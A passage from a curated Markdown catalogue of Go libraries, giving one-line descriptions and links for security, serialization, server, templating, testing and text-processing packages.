- [geom](https://github.com/skelterjohn/geom) - 2D geometry for golang.
- [go-dsp](https://github.com/mjibson/go-dsp) - Digital Signal Processing for Go.
- [go-estimate](https://github.com/milosgajdos/go-estimate) - State estimation and filtering algorithms in Go.
- [go-gt](https://github.com/ThePaw/go-gt) - Graph theory algorithms written in "Go" language.
- [godesim](https://github.com/soypat/godesim) - Extended/multivariable ODE solver framework for event-based simulations with simple API.
- [goent](https://github.com/kzahedi/goent) - GO Implementation of Entropy Measures.
- [gograph](https://github.com/hmdsefi/gograph) - A golang generic graph library that provides mathematical graph-theory and algorithms.
- [gohistogram](https://github.com/VividCortex/gohistogram) - Approximate histograms for data streams.
- [gonum](https://github.com/gonum/gonum) - Gonum is a set of numeric libraries for the Go programming language. It contains libraries for matrices, statistics, optimization, and more.
- [gonum/plot](https://github.com/gonum/plot) - gonum/plot provides an API for building and drawing plots in Go.
- [goraph](https://github.com/gyuho/goraph) - Pure Go graph theory library(data structure, algorithm visualization).
- [gosl](https://github.com/cpmech/gosl) - Go scientific library for linear algebra, FFT, geometry, NURBS, numerical methods, probabilities, optimisation, differential equations, and more.
- [GoStats](https://github.com/OGFris/GoStats) - GoStats is an Open Source GoLang library for math statistics mostly used in Machine Learning domains, it covers most of the Statistical measures functions.
- [graph](https://github.com/yourbasic/graph) - Library of basic graph algorithms.
- [jsonl-graph](https://github.com/nikolaydubina/jsonl-graph) - Tool to manipulate JSONL graphs with graphviz support.
- [ode](https://github.com/ChristopherRabotin/ode) - Ordinary differential equation (ODE) solver which supports extended states and channel-based iteration stop conditions.
- [orb](https://github.com/paulmach/orb) - 2D geometry types with clipping, GeoJSON and Mapbox Vector Tile support.
- [pagerank](https://github.com/alixaxel/pagerank) - Weighted PageRank algorithm implemented in Go.
- [piecewiselinear](https://github.com/sgreben/piecewiselinear) - Tiny linear interpolation library.
- [PiHex](https://github.com/claygod/PiHex) - Implementation of the "Bailey-Borwein-Plouffe" algorithm for the hexadecimal number Pi.
- [rootfinding](https://github.com/khezen/rootfinding) - root-finding algorithms library for finding roots of quadratic functions.
- [sparse](https://github.com/james-bowman/sparse) - Go Sparse matrix formats for linear algebra supporting scientific and machine learning applications, compatible with gonum matrix libraries.
- [stats](https://github.com/montanaflynn/stats) - Statistics package with common functions missing from the Golang standard library.
- [streamtools](https://github.com/nytlabs/streamtools) - general purpose, graphical tool for dealing with streams of data.
- [TextRank](https://github.com/DavidBelicza/TextRank) - TextRank implementation in Golang with extendable features (summarization, weighting, phrase extraction) and multithreading (goroutine) support.
- [triangolatte](https://github.com/tchayen/triangolatte) - 2D triangulation library. Allows translating lines and polygons (both based on points) to the language of GPUs.
**[⬆ back to top](#contents)**
## Security
_Libraries that are used to help make your application more secure._
- [acmetool](https://github.com/hlandau/acme) - ACME (Let's Encrypt) client tool with automatic renewal.
- [acra](https://github.com/cossacklabs/acra) - Network encryption proxy to protect database-based applications from data leaks: strong selective encryption, SQL injections prevention, intrusion detection system.
- [age](https://github.com/FiloSottile/age) - A simple, modern and secure encryption tool (and Go library) with small explicit keys, no config options, and UNIX-style composability.
- [argon2-hashing](https://github.com/andskur/argon2-hashing) - light wrapper around Go's argon2 package that closely mirrors with Go's standard library Bcrypt and simple-scrypt package.
- [argon2pw](https://github.com/raja/argon2pw) - Argon2 password hash generation with constant-time password comparison.
- [autocert](https://godoc.org/golang.org/x/crypto/acme/autocert) - Auto provision Let's Encrypt certificates and start a TLS server.
- [BadActor](https://github.com/jaredfolkins/badactor) - In-memory, application-driven jailer built in the spirit of fail2ban.
- [booster](https://github.com/anatol/booster) - Fast initramfs generator with full-disk encryption support.
- [Cameradar](https://github.com/Ullaakut/cameradar) - Tool and library to remotely hack RTSP streams from surveillance cameras.
- [certificates](https://github.com/mvmaasakkers/certificates) - An opinionated tool for generating tls certificates.
- [CertMagic](https://github.com/caddyserver/certmagic) - Mature, robust, and powerful ACME client integration for fully-managed TLS certificate issuance and renewal.
- [Coraza](https://github.com/corazawaf/coraza) - Enterprise-ready, modsecurity and OWASP CRS compatible WAF library.
- [dongle](https://github.com/golang-module/dongle) - A simple, semantic and developer-friendly golang package for encoding&decoding and encryption&decryption.
- [firewalld-rest](https://github.com/prashantgupta24/firewalld-rest) - A rest application to dynamically update firewalld rules on a linux server.
- [go-generate-password](https://github.com/m1/go-generate-password) - Password generator that can be used on the cli or as a library.
- [go-htpasswd](https://github.com/tg123/go-htpasswd) - Apache htpasswd Parser for Go.
- [go-password-validator](https://github.com/lane-c-wagner/go-password-validator) - Password validator based on raw cryptographic entropy values.
- [go-yara](https://github.com/hillu/go-yara) - Go Bindings for [YARA](https://github.com/plusvic/yara), the "pattern matching swiss knife for malware researchers (and everyone else)".
- [goArgonPass](https://github.com/dwin/goArgonPass) - Argon2 password hash and verification designed to be compatible with existing Python and PHP implementations.
- [goSecretBoxPassword](https://github.com/dwin/goSecretBoxPassword) - A probably paranoid package for securely hashing and encrypting passwords.
- [Interpol](https://github.com/avahidi/interpol) - Rule-based data generator for fuzzing and penetration testing.
- [lego](https://github.com/go-acme/lego) - Pure Go ACME client library and CLI tool (for use with Let's Encrypt).
- [memguard](https://github.com/awnumar/memguard) - A pure Go library for handling sensitive values in memory.
- [nacl](https://github.com/kevinburke/nacl) - Go implementation of the NaCL set of API's.
- [optimus-go](https://github.com/pjebs/optimus-go) - ID hashing and Obfuscation using Knuth's Algorithm.
- [passlib](https://github.com/hlandau/passlib) - Futureproof password hashing library.
- [secret](https://github.com/rsjethani/secret) - Prevent your secrets from leaking into logs, std\* etc.
- [secure](https://github.com/unrolled/secure) - HTTP middleware for Go that facilitates some quick security wins.
- [secureio](https://github.com/xaionaro-go/secureio) - An keyexchanging+authenticating+encrypting wrapper and multiplexer for `io.ReadWriteCloser` based on XChaCha20-poly1305, ECDH and ED25519.
- [simple-scrypt](https://github.com/elithrar/simple-scrypt) - Scrypt package with a simple, obvious API and automatic cost calibration built-in.
- [ssh-vault](https://github.com/ssh-vault/ssh-vault) - encrypt/decrypt using ssh keys.
- [sslmgr](https://github.com/adrianosela/sslmgr) - SSL certificates made easy with a high level wrapper around acme/autocert.
- [teler-waf](https://github.com/kitabisa/teler-waf) - teler-waf is a Go HTTP middleware that provide teler IDS functionality to protect against web-based attacks and improve the security of Go-based web applications. It is highly configurable and easy to integrate into existing Go applications.
- [themis](https://github.com/cossacklabs/themis) - high-level cryptographic library for solving typical data security tasks (secure data storage, secure messaging, zero-knowledge proof authentication), available for 14 languages, best fit for multi-platform apps.
**[⬆ back to top](#contents)**
## Serialization
_Libraries and tools for binary serialization._
- [asn1](https://github.com/PromonLogicalis/asn1) - Asn.1 BER and DER encoding library for golang.
- [bambam](https://github.com/glycerine/bambam) - generator for Cap'n Proto schemas from go.
- [bel](https://github.com/32leaves/bel) - Generate TypeScript interfaces from Go structs/interfaces. Useful for JSON RPC.
- [binstruct](https://github.com/ghostiam/binstruct) - Golang binary decoder for mapping data into the structure.
- [cbor](https://github.com/fxamacker/cbor) - Small, safe, and easy CBOR encoding and decoding library.
- [colfer](https://github.com/pascaldekloe/colfer) - Code generation for the Colfer binary format.
- [csvutil](https://github.com/jszwec/csvutil) - High Performance, idiomatic CSV record encoding and decoding to native Go structures.
- [elastic](https://github.com/epiclabs-io/elastic) - Convert slices, maps or any other unknown value across different types at run-time, no matter what.
- [fixedwidth](https://github.com/huydang284/fixedwidth) - Fixed-width text formatting (UTF-8 supported).
- [fwencoder](https://github.com/o1egl/fwencoder) - Fixed width file parser (encoding and decoding library) for Go.
- [go-capnproto](https://github.com/glycerine/go-capnproto) - Cap'n Proto library and parser for go.
- [go-codec](https://github.com/ugorji/go) - High Performance, feature-Rich, idiomatic encode, decode and rpc library for msgpack, cbor and json, with runtime-based OR code-generation support.
- [go-lctree](https://github.com/sbourlon/go-lctree) - Provides a CLI and primitives to serialize and deserialize [LeetCode binary trees](https://support.leetcode.com/hc/en-us/articles/360011883654-What-does-1-null-2-3-mean-in-binary-tree-representation).
- [gogoprotobuf](https://github.com/gogo/protobuf) - Protocol Buffers for Go with Gadgets.
- [goprotobuf](https://github.com/golang/protobuf) - Go support, in the form of a library and protocol compiler plugin, for Google's protocol buffers.
- [jsoniter](https://github.com/json-iterator/go) - High-performance 100% compatible drop-in replacement of "encoding/json".
- [mapstructure](https://github.com/mitchellh/mapstructure) - Go library for decoding generic map values into native Go structures.
- [php_session_decoder](https://github.com/yvasiyarov/php_session_decoder) - GoLang library for working with PHP session format and PHP Serialize/Unserialize functions.
- [pletter](https://github.com/vimeda/pletter) - A standard way to wrap a proto message for message brokers.
- [structomap](https://github.com/tuvistavie/structomap) - Library to easily and dynamically generate maps from static structures.
- [unitpacking](https://github.com/recolude/unitpacking) - Library to pack unit vectors into as fewest bytes as possible.
**[⬆ back to top](#contents)**
## Server Applications
- [algernon](https://github.com/xyproto/algernon) - HTTP/2 web server with built-in support for Lua, Markdown, GCSS and Amber.
- [Caddy](https://github.com/caddyserver/caddy) - Caddy is an alternative, HTTP/2 web server that's easy to configure and use.
- [consul](https://www.consul.io/) - Consul is a tool for service discovery, monitoring and configuration.
- [cortex-tenant](https://github.com/blind-oracle/cortex-tenant) - Prometheus remote write proxy that adds add Cortex tenant ID header based on metric labels.
- [devd](https://github.com/cortesi/devd) - Local webserver for developers.
- [discovery](https://github.com/Bilibili/discovery) - A registry for resilient mid-tier load balancing and failover.
- [dudeldu](https://github.com/krotik/dudeldu) - A simple SHOUTcast server.
- [dummy](https://github.com/neotoolkit/dummy) - Run mock server based off an API contract with one command.
- [Easegress](https://github.com/megaease/easegress) - A cloud native high availability/performance traffic orchestration system with observability and extensibility.
- [etcd](https://github.com/coreos/etcd) - Highly-available key value store for shared configuration and service discovery.
- [Euterpe](https://github.com/ironsmile/euterpe) - Self-hosted music streaming server with built-in web UI and REST API.
- [Fider](https://github.com/getfider/fider) - Fider is an open platform to collect and organize customer feedback.
- [Flagr](https://github.com/checkr/flagr) - Flagr is an open-source feature flagging and A/B testing service.
- [flipt](https://github.com/markphelps/flipt) - A self contained feature flag solution written in Go and Vue.js
- [go-feature-flag](https://github.com/thomaspoignant/go-feature-flag) - A feature flag solution, with only a YAML file in the backend (S3, GitHub, HTTP, local file ...), no server to install, just add a file in a central system and refer to it.
- [go-proxy-cache](https://github.com/fabiocicerchia/go-proxy-cache) - Simple Reverse Proxy with Caching, written in Go, using Redis.
- [jackal](https://github.com/ortuman/jackal) - An XMPP server written in Go.
- [lets-proxy2](https://github.com/rekby/lets-proxy2) - Reverse proxy for handle https with issue certificates in fly from lets-encrypt.
- [minio](https://github.com/minio/minio) - Minio is a distributed object storage server.
- [Moxy](https://github.com/sinhashubham95/moxy) - Moxy is a simple mocker and proxy application server, you can create mock endpoints as well as proxy requests in case no mock exists for the endpoint.
- [nginx-prometheus](https://github.com/blind-oracle/nginx-prometheus) - Nginx log parser and exporter to Prometheus.
- [nsq](https://nsq.io/) - A realtime distributed messaging platform.
- [protoxy](https://github.com/camgraff/protoxy) - A proxy server that converts JSON request bodies to Protocol Buffers.
- [psql-streamer](https://github.com/blind-oracle/psql-streamer) - Stream database events from PostgreSQL to Kafka.
- [riemann-relay](https://github.com/blind-oracle/riemann-relay) - Relay to load-balance Riemann events and/or convert them to Carbon.
- [RoadRunner](https://github.com/spiral/roadrunner) - High-performance PHP application server, load-balancer and process manager.
- [SFTPGo](https://github.com/drakkan/sftpgo) - Fully featured and highly configurable SFTP server with optional FTP/S and WebDAV support. It can serve local filesystem and Cloud Storage backends such as S3 and Google Cloud Storage.
- [simple-jwt-provider](https://github.com/leberKleber/simple-jwt-provider) - Simple and lightweight provider which exhibits JWTs, supports login, password-reset (via mail) and user management.
- [Trickster](https://github.com/tricksterproxy/trickster) - HTTP reverse proxy cache and time series accelerator.
- [Wish](https://github.com/charmbracelet/wish) - Make SSH apps, just like that!
**[⬆ back to top](#contents)**
## Stream Processing
_Libraries and tools for stream processing and reactive programming._
- [go-streams](https://github.com/reugn/go-streams) - Go stream processing library.
- [goio](https://github.com/primetalk/goio) - An implementation of IO, Stream, Fiber for Golang, inspired by awesome Scala libraries cats and fs2.
- [machine](https://github.com/whitaker-io/machine) - Go library for writing and generating stream workers with built in metrics and traceability.
- [stream](https://github.com/youthlin/stream) - Go Stream, like Java 8 Stream: Filter/Map/FlatMap/Peek/Sorted/ForEach/Reduce...
**[⬆ back to top](#contents)**
## Template Engines
_Libraries and tools for templating and lexing._
- [ego](https://github.com/benbjohnson/ego) - Lightweight templating language that lets you write templates in Go. Templates are translated into Go and compiled.
- [extemplate](https://github.com/dannyvankooten/extemplate) - Tiny wrapper around html/template to allow for easy file-based template inheritance.
- [fasttemplate](https://github.com/valyala/fasttemplate) - Simple and fast template engine. Substitutes template placeholders up to 10x faster than [text/template](https://golang.org/pkg/text/template/).
- [gospin](https://github.com/m1/gospin) - Article spinning and spintax/spinning syntax engine, useful for A/B, testing pieces of text/articles and creating more natural conversations.
- [got](https://github.com/goradd/got) - A Go code generator inspired by Hero and Fasttemplate. Has include files, custom tag definitions, injected Go code, language translation, and more.
- [goview](https://github.com/foolin/goview) - Goview is a lightweight, minimalist and idiomatic template library based on golang html/template for building Go web application.
- [jet](https://github.com/CloudyKit/jet) - Jet template engine.
- [liquid](https://github.com/osteele/liquid) - Go implementation of Shopify Liquid templates.
- [maroto](https://github.com/johnfercher/maroto) - A maroto way to create PDFs. Maroto is inspired in Bootstrap and uses gofpdf. Fast and simple.
- [pongo2](https://github.com/flosch/pongo2) - Django-like template-engine for Go.
- [quicktemplate](https://github.com/valyala/quicktemplate) - Fast, powerful, yet easy to use template engine. Converts templates into Go code and then compiles it.
- [raymond](https://github.com/aymerick/raymond) - Complete handlebars implementation in Go.
- [Razor](https://github.com/sipin/gorazor) - Razor view engine for Golang.
- [Soy](https://github.com/robfig/soy) - Closure templates (aka Soy templates) for Go, following the [official spec](https://developers.google.com/closure/templates/).
- [sprig](https://github.com/Masterminds/sprig) - Useful template functions for Go templates.
- [tbd](https://github.com/lucasepe/tbd) - A really simple way to create text templates with placeholders - exposes extra builtin Git repo metadata.
**[⬆ back to top](#contents)**
## Testing
_Libraries for testing codebases and generating test data._
- Testing Frameworks
- [apitest](https://apitest.dev) - Simple and extensible behavioural testing library for REST based services or HTTP handlers that supports mocking external http calls and rendering of sequence diagrams.
- [assert](https://github.com/go-playground/assert) - Basic Assertion Library used along side native go testing, with building blocks for custom assertions.
- [badio](https://github.com/cavaliercoder/badio) - Extensions to Go's `testing/iotest` package.
- [baloo](https://github.com/h2non/baloo) - Expressive and versatile end-to-end HTTP API testing made easy.
- [be](https://github.com/carlmjohnson/be) - The minimalist generic test assertion library.
- [biff](https://github.com/fulldump/biff) - Bifurcation testing framework, BDD compatible.
- [charlatan](https://github.com/percolate/charlatan) - Tool to generate fake interface implementations for tests.
- [commander](https://github.com/SimonBaeumer/commander) - Tool for testing cli applications on windows, linux and osx.
- [covergates](https://github.com/covergates/covergates) - Self-hosted code coverage report review and management service.
- [cupaloy](https://github.com/bradleyjkemp/cupaloy) - Simple snapshot testing addon for your test framework.
- [dbcleaner](https://github.com/khaiql/dbcleaner) - Clean database for testing purpose, inspired by `database_cleaner` in Ruby.
- [dsunit](https://github.com/viant/dsunit) - Datastore testing for SQL, NoSQL, structured files.
- [embedded-postgres](https://github.com/fergusstrange/embedded-postgres) - Run a real Postgres database locally on Linux, OSX or Windows as part of another Go application or test.
- [endly](https://github.com/viant/endly) - Declarative end to end functional testing.
- [fixenv](https://github.com/rekby/fixenv) - Fixture manage engine, inspired by pytest fixtures.
- [fluentassert](https://github.com/fluentassert/verify) - Extensible, type-safe, fluent assertion Go library.
- [flute](https://github.com/suzuki-shunsuke/flute) - HTTP client testing framework.
- [frisby](https://github.com/verdverm/frisby) - REST API testing framework.
- [gherkingen](https://github.com/hedhyw/gherkingen) - BDD boilerplate generator and framework.
- [ginkgo](https://onsi.github.io/ginkgo/) - BDD Testing Framework for Go.
- [gnomock](https://github.com/orlangure/gnomock) - integration testing with real dependencies (database, cache, even Kubernetes or AWS) running in Docker, without mocks.
- [go-carpet](https://github.com/msoap/go-carpet) - Tool for viewing test coverage in terminal.
- [go-cmp](https://github.com/google/go-cmp) - Package for comparing Go values in tests.
- [go-hit](https://github.com/Eun/go-hit) - Hit is an http integration test framework written in golang.
- [go-mutesting](https://github.com/zimmski/go-mutesting) - Mutation testing for Go source code.
- [go-mysql-test-container](https://github.com/arikama/go-mysql-test-container) - Golang MySQL testcontainer to help with MySQL integration testing.
- [go-snaps](http://github.com/gkampitakis/go-snaps) - Jest-like snapshot testing in Golang.
- [go-testdeep](https://github.com/maxatome/go-testdeep) - Extremely flexible golang deep comparison, extends the go testing package.
- [go-testpredicate](https://github.com/maargenton/go-testpredicate) - Test predicate style assertions library with extensive diagnostics output.
- [go-vcr](https://github.com/dnaeon/go-vcr) - Record and replay your HTTP interactions for fast, deterministic and accurate tests.
- [goblin](https://github.com/franela/goblin) - Mocha like testing framework fo Go.
- [goc](https://github.com/qiniu/goc) - Goc is a comprehensive coverage testing system for The Go Programming Language.
- [gocheck](https://labix.org/gocheck) - More advanced testing framework alternative to gotest.
- [GoConvey](https://github.com/smartystreets/goconvey/) - BDD-style framework with web UI and live reload.
- [gocrest](https://github.com/corbym/gocrest) - Composable hamcrest-like matchers for Go assertions.
- [godog](https://github.com/cucumber/godog) - Cucumber BDD framework for Go.
- [gofight](https://github.com/appleboy/gofight) - API Handler Testing for Golang Router framework.
- [gogiven](https://github.com/corbym/gogiven) - YATSPEC-like BDD testing framework for Go.
- [gomatch](https://github.com/jfilipczyk/gomatch) - library created for testing JSON against patterns.
- [gomega](https://onsi.github.io/gomega/) - Rspec like matcher/assertion library.
- [Gont](https://github.com/stv0g/gont) - Go network testing toolkit for testing building complex network topologies using Linux namespaces.
- [GoSpec](https://github.com/orfjackal/gospec) - BDD-style testing framework for the Go programming language.
- [gospecify](https://github.com/stesla/gospecify) - This provides a BDD syntax for testing your Go code. It should be familiar to anybody who has used libraries such as rspec.
- [gosuite](https://github.com/pavlo/gosuite) - Brings lightweight test suites with setup/teardown facilities to `testing` by leveraging Go1.7's Subtests.
- [got](https://github.com/ysmood/got) - An enjoyable golang test framework.
- [gotest.tools](https://github.com/gotestyourself/gotest.tools) - A collection of packages to augment the go testing package and support common patterns.
- [Hamcrest](https://github.com/rdrdr/hamcrest) - fluent framework for declarative Matcher objects that, when applied to input values, produce self-describing results.
- [httpexpect](https://github.com/gavv/httpexpect) - Concise, declarative, and easy to use end-to-end HTTP and REST API testing.
- [is](https://github.com/matryer/is) - Professional lightweight testing mini-framework for Go.
- [jsonassert](https://github.com/kinbiko/jsonassert) - Package for verifying that your JSON payloads are serialized correctly.
- [omg.testingtools](https://github.com/dedalqq/omg.testingtools) - The simple library for change a values of private fields for testing.
- [restit](https://github.com/yookoala/restit) - Go micro framework to help writing RESTful API integration test.
- [schema](https://github.com/jgroeneveld/schema) - Quick and easy expression matching for JSON schemas used in requests and responses.
- [stop-and-go](https://github.com/elgohr/stop-and-go) - Testing helper for concurrency.
- [testcase](https://github.com/adamluzsi/testcase) - Idiomatic testing framework for Behavior Driven Development.
- [testcontainers-go](https://github.com/testcontainers/testcontainers-go) - A Go package that makes it simple to create and clean up container-based dependencies for automated integration/smoke tests. The clean, easy-to-use API enables developers to programmatically define containers that should be run as part of a test and clean up those resources when the test is done.
- [testfixtures](https://github.com/go-testfixtures/testfixtures) - A helper for Rails' like test fixtures to test database applications.
- [Testify](https://github.com/stretchr/testify) - Sacred extension to the standard go testing package.
- [testmd](https://godoc.org/github.com/tvastar/test/cmd/testmd) - Convert markdown snippets into testable go code.
- [testsql](https://github.com/zhulongcheng/testsql) - Generate test data from SQL files before testing and clear it after finished.
- [testza](https://github.com/MarvinJWendt/testza) - Full-featured test framework with nice colorized output.
- [trial](https://github.com/jgroeneveld/trial) - Quick and easy extendable assertions without introducing much boilerplate.
- [Tt](https://github.com/vcaesar/tt) - Simple and colorful test tools.
- [wstest](https://github.com/posener/wstest) - Websocket client for unit-testing a websocket http.Handler.
- Mock
- [counterfeiter](https://github.com/maxbrunsfeld/counterfeiter) - Tool for generating self-contained mock objects.
- [genmock](https://gitlab.com/so_literate/genmock) - Go mocking system with code generator for building calls of the interface methods.
- [go-localstack](https://github.com/elgohr/go-localstack) - Tool for using localstack in AWS testing.
- [go-sqlmock](https://github.com/DATA-DOG/go-sqlmock) - Mock SQL driver for testing database interactions.
- [go-txdb](https://github.com/DATA-DOG/go-txdb) - Single transaction based database driver mainly for testing purposes.
- [gock](https://github.com/h2non/gock) - Versatile HTTP mocking made easy.
- [gomock](https://github.com/golang/mock) - Mocking framework for the Go programming language.
- [govcr](https://github.com/seborama/govcr) - HTTP mock for Golang: record and replay HTTP interactions for offline testing.
- [hoverfly](https://github.com/SpectoLabs/hoverfly) - HTTP(S) proxy for recording and simulating REST/SOAP APIs with extensible middleware and easy-to-use CLI.
- [httpmock](https://github.com/jarcoal/httpmock) - Easy mocking of HTTP responses from external resources.
- [minimock](https://github.com/gojuno/minimock) - Mock generator for Go interfaces.
- [mockery](https://github.com/vektra/mockery) - Tool to generate Go interfaces.
- [mockhttp](https://github.com/tv42/mockhttp) - Mock object for Go http.ResponseWriter.
- [mockit](https://github.com/pasdam/mockit) - Allows functions and method easy mocking, without defining new types; it's similar to Mockito for Java.
- [monkey](https://github.com/awterman/monkey) - One line to mock functions/methods/variables in place without dependency injection or code generation.
- [mooncake](https://github.com/GuilhermeCaruso/mooncake) - A simple way to generate mocks for multiple purposes
- [timex](https://github.com/cabify/timex) - A test-friendly replacement for the native `time` package.
- Fuzzing and delta-debugging/reducing/shrinking.
- [go-fuzz](https://github.com/dvyukov/go-fuzz) - Randomized testing system.
- [gofuzz](https://github.com/google/gofuzz) - Library for populating go objects with random values.
- [Tavor](https://github.com/zimmski/tavor) - Generic fuzzing and delta-debugging framework.
- Selenium and browser control tools.
- [cdp](https://github.com/mafredri/cdp) - Type-safe bindings for the Chrome Debugging Protocol that can be used with browsers or other debug targets that implement it.
- [chromedp](https://github.com/knq/chromedp) - a way to drive/test Chrome, Safari, Edge, Android Webviews, and other browsers supporting the Chrome Debugging Protocol.
- [ggr](https://github.com/aerokube/ggr) - a lightweight server that routes and proxies Selenium WebDriver requests to multiple Selenium hubs.
- [playwright-go](https://github.com/mxschmitt/playwright-go) - browser automation library to control Chromium, Firefox and WebKit with a single API.
- [rod](https://github.com/go-rod/rod) - A Devtools driver to make web automation and scraping easy.
- [selenoid](https://github.com/aerokube/selenoid) - alternative Selenium hub server that launches browsers within containers.
- Fail injection
- [failpoint](https://github.com/pingcap/failpoint) - An implementation of [failpoints](https://www.freebsd.org/cgi/man.cgi?query=fail) for Golang.
**[⬆ back to top](#contents)**
## Text Processing
_Libraries for parsing and manipulating texts._
See also [Natural Language Processing](#natural-language-processing) and [Text Analysis](#text-analysis).
### Formatters
- [address](https://github.com/bojanz/address) - Handles address representation, validation and formatting.
- [align](https://github.com/Guitarbum722/align) - A general purpose application that aligns text.
- [bytes](https://github.com/labstack/gommon/tree/master/bytes) - Formats and parses numeric byte values (10K, 2M, 3G, etc.).
- [go-fixedwidth](https://github.com/ianlopshire/go-fixedwidth) - Fixed-width text formatting (encoder/decoder with reflection).
- [go-humanize](https://github.com/dustin/go-humanize) - Formatters for time, numbers, and memory size to human readable format.
- [gotabulate](https://github.com/bndr/gotabulate) - Easily pretty-print your tabular data with Go.
- [textwrap](https://github.com/isbm/textwrap) - Wraps text at end of lines. Implementation of `textwrap` module from Python.
### Markup Languages
- [bafi](https://github.com/mmalcek/bafi) - Universal JSON, BSON, YAML, XML translator to ANY format using templates.
- [bbConvert](https://github.com/CalebQ42/bbConvert) - Converts bbCode to HTML that allows you to add support for custom bbCode tags.
- [blackfriday](https://github.com/russross/blackfriday) - Markdown processor in Go.
- [github_flavored_markdown](https://godoc.org/github.com/shurcooL/github_flavored_markdown) - GitHub Flavored Markdown renderer (using blackfriday) with fenced code block highlighting, clickable header anchor links.
- [go-output-format](https://github.com/drewstinnett/go-output-format) - Output go structures into multiple formats (YAML/JSON/etc) in your command line app.
- [go-toml](https://github.com/pelletier/go-toml) - Go library for the TOML format with query support and handy cli tools.
- [goldmark](https://github.com/yuin/goldmark) - A Markdown parser written in Go. Easy to extend, standard (CommonMark) compliant, well structured.
- [goq](https://github.com/andrewstuart/goq) - Declarative unmarshaling of HTML using struct tags with jQuery syntax (uses GoQuery).
- [html-to-markdown](https://github.com/JohannesKaufmann/html-to-markdown) - Convert HTML to Markdown. Even works with entire websites and can be extended through rules.
- [htmlquery](https://github.com/antchfx/htmlquery) - An XPath query package for HTML, lets you extract data or evaluate from HTML documents by an XPath expression.
- [htmlyaml](https://github.com/nikolaydubina/htmlyaml) - Rich rendering of YAML as HTML in Go
- [mxj](https://github.com/clbanning/mxj) - Encode / decode XML as JSON or map[string]interface{}; extract values with dot-notation paths and wildcards. Replaces x2j and j2x packages.
- [toml](https://github.com/BurntSushi/toml) - TOML configuration format (encoder/decoder with reflection).
### Parsers/Encoders/Decoders
- [allot](https://github.com/sbstjn/allot) - Placeholder and wildcard text parsing for CLI tools and bots.
- [codetree](https://github.com/aerogo/codetree) - Parses indented code (python, pixy, scarlet, etc.) and returns a tree structure.
- [commonregex](https://github.com/mingrammer/commonregex) - A collection of common regular expressions for Go.
- [did](https://github.com/ockam-network/did) - DID (Decentralized Identifiers) Parser and Stringer in Go.
- [doi](https://github.com/hscells/doi) - Document object identifier (doi) parser in Go.
- [editorconfig-core-go](https://github.com/editorconfig/editorconfig-core-go) - Editorconfig file parser and manipulator for Go.
- [encdec](https://github.com/mickep76/encdec) - Package provides a generic interface to encoders and decoders.
- [go-fasttld](https://github.com/elliotwutingfeng/go-fasttld) - High performance effective top level domains (eTLD) extraction module.
- [go-nmea](https://github.com/adrianmo/go-nmea) - NMEA parser library for the Go language.
- [go-vcard](https://github.com/emersion/go-vcard) - Parse and format vCard.
- [gofeed](https://github.com/mmcdole/gofeed) - Parse RSS and Atom feeds in Go.
- [gographviz](https://github.com/awalterschulze/gographviz) - Parses the Graphviz DOT language.
- [gonameparts](https://github.com/polera/gonameparts) - Parses human names into individual name parts.
- [ltsv](https://github.com/Wing924/ltsv) - High performance [LTSV (Labeled Tab Separated Value)](http://ltsv.org/) reader for Go.
- [normalize](https://github.com/avito-tech/normalize) - Sanitize, normalize and compare fuzzy text.
- [omniparser](https://github.com/jf-tech/omniparser) - A versatile ETL library that parses text input (CSV/txt/JSON/XML/EDI/X12/EDIFACT/etc) in streaming fashion and transforms data into JSON output using data-driven schema.
- [parseargs-go](https://github.com/nproc/parseargs-go) - string argument parser that understands quotes and backslashes.
- [parth](https://github.com/codemodus/parth) - URL path segmentation parsing.
- [sdp](https://github.com/gortc/sdp) - SDP: Session Description Protocol [[RFC 4566](https://tools.ietf.org/html/rfc4566)].
- [sh](https://github.com/mvdan/sh) - Shell parser and formatter.
- [tokenizer](https://github.com/bzick/tokenizer) - Parse any string, slice or infinite buffer to any tokens.
- [when](https://github.com/olebedev/when) - Natural EN and RU language date/time parser with pluggable rules.
- [xj2go](https://github.com/stackerzzq/xj2go) - Convert xml or json to go struct.
### Regular Expressions
- [genex](https://github.com/alixaxel/genex) - Count and expand Regular Expressions into all matching Strings.
- [go-wildcard](https://github.com/IGLOU-EU/go-wildcard) - Simple and lightweight wildcard pattern matching.
- [goregen](https://github.com/zach-klippenstein/goregen) - Library for generating random strings from regular expressions.
- [regroup](https://github.com/oriser/regroup) - Match regex expression named groups into go struct using struct tags and automatic parsing.
- [rex](https://github.com/hedhyw/rex) - Regular expressions builder.
### Sanitation
- [bluemonday](https://github.com/microcosm-cc/bluemonday) - HTML Sanitizer.
- [gofuckyourself](https://github.com/JoshuaDoes/gofuckyourself) - A sanitization-based swear filter for Go.
### Scrapers
- [colly](https://github.com/asciimoo/colly) - Fast and Elegant Scraping Framework for Gophers.
- [dataflowkit](https://github.com/slotix/dataflowkit) - Web scraping Framework to turn websites into structured data.
- [go-recipe](https://github.com/kkyr/go-recipe) - A package for scraping recipes from websites.
- [GoQuery](https://github.com/PuerkitoBio/goquery) - GoQuery brings a syntax and a set of features similar to jQuery to the Go language.
- [gospider](https://github.com/zhshch2002/gospider) - A simple golang spider/scraping framework,build a spider in 3 lines. migrated from [goribot](https://github.com/zhshch2002/goribot)
- [pagser](https://github.com/foolin/pagser) - Pagser is a simple, extensible, configurable parse and deserialize html page to struct based on goquery and struct tags for golang crawler.
- [Tagify](https://github.com/zoomio/tagify) - Produces a set of tags from given source.
- [walker](https://github.com/cyucelen/walker) - Seamlessly fetch paginated data from any source. Simple and high performance API scraping included.
- [xurls](https://github.com/mvdan/xurls) - Extract urls from text.
### RSS
- [podcast](https://github.com/eduncan911/podcast) - iTunes Compliant and RSS 2.0 Podcast Generator in Golang
- [syndfeed](https://github.com/zhengchun/syndfeed) - A syndication feed for Atom 1.0 and RSS 2.0.
### Utility/Miscellaneous
- [go-runewidth](https://github.com/mattn/go-runewidth) - Functions to get fixed width of the character or string.
- [go-zero-width](https://github.com/trubitsyn/go-zero-width) - Zero-width character detection and removal for Go.
- [kace](https://github.com/codemodus/kace) - Common case conversions covering common initialisms.
- [petrovich](https://github.com/striker2000/petrovich) - Petrovich is the library which inflects Russian names to given grammatical case.
- [radix](https://github.com/yourbasic/radix) - Fast string sorting algorithm.
- [TySug](https://github.com/Dynom/TySug) - Alternative suggestions with respect to keyboard layouts.
**[⬆ back to top](#contents)**
## Third-party APIs
_Libraries for accessing third party APIs._
- [airtable](https://github.com/mehanizm/airtable) - Go client library for the [Airtable API](https://airtable.com/api).
